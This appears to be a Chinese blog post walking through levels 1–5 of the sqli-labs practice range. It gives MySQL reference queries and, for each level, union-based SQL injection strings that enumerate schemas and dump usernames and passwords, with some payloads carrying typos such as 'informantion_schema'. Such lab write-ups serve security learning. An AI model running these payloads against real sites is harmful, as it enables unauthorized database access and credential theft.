Loading

sqli-labs靶场(1-22)SQL注入

SQL-labs文件上传靶场学习

SQL注入

相关知识准备:
show databases; //查看数据库

use xxx; //使用某个数据库

show tables; //查看该数据库的数据表

desc xxx; //查看该数据表的结构

select * from xxx; //查找某个数据表的所有内容

select schema_name from information_schema.schemata; //猜数据库

select table_name from information_schema.tables where table_schema='xxxxx'; //猜某数据库的数据表

Select column_name from information_schema.columns where table_name='xxxxx'; //猜某表的所有列

left(a,b) //从左侧截取 a 的前 b 位

mid(column_name,start[,length]) //从位置start开始,截取column_name字符串的length位,与substr作用相同

substr(string, start, length) //从位置start开始,截取字符串string的length长度,与mid作用相同

ascii() //将某个字符转换成ascii码

ord() //将某个字符转换成ascii码,同ascii()

第一关:

  1. 判断是否是GET请求
  2. 添加逗号’后发现报错,说明没有过滤逗号,可以作为注入点
注入语句:
1' order by 4 --+

-1' union select 1,2,3 --+

-1' union select 1,database(),version() --+

-1' union select 1,group_concat(table_name),3 from informantion_schema.tables where table_schema = 'security' --+

-1' union select 1,group_concat(column_name),3 from informantion_schema.columns where table_name = "users" --+ 

-1' union select 1,group_concat(username),group_concat(password) from users --+

20211109143256

第二关:

  1. 判断是否是GET请求
  2. 添加逗号’后发现未报错
  3. 说明是整数型注入
注入语句:
1 order by 4 --+

-1 union select 1,2,3 --+

-1 union select 1,database(),version() --+

-1 union select 1,group_concat(table_name),3 from informantion_schema.tables where table_schema = "security" --+

-1 union select 1,group_concat(column_name),3 from informantion_schema.columns where table_name = "users" --+

-1 union select 1,group_concat(username),group_concat(password) from users --+

20211109143354

第三关:

  1. 判断是否是GET请求
  2. 添加逗号’后发现报错,提示括号报错
  3. 猜测括号没有过滤
1') order by 4 --+

-1') union select 1,2,3--+

-1') union select 1,database(),version()--+

-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security"--+

-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name = "users"--+

-1') union select 1,group_concat(username),group_concat(password) from users --+

20211109143451

第四关:

  1. 判断是否是GET请求
  2. 加入引号未报错,加入双引号报错括号,所以猜测是双引号和括号一起注入闭合语句
1") order by 4 --+

-1") union select 1,2,3 --+

-1") union select 1,database(),version() --+

-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = "security"--+

-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name = “users"--+

-1") union select 1,group_concat(usersname),group_concat(password) from users--+

20211109143618

第五关:

  1. 判断为GET请求
  2. 报错没有回显,猜测是报错注入
  3. 建议使用sqlmap工具爆破
1'order by 4 --+
使用sqlmap爆破

20211109143709

posted @ 2021-11-09 14:39  小刘小刘富得流油#  阅读(83)  评论(0编辑  收藏  举报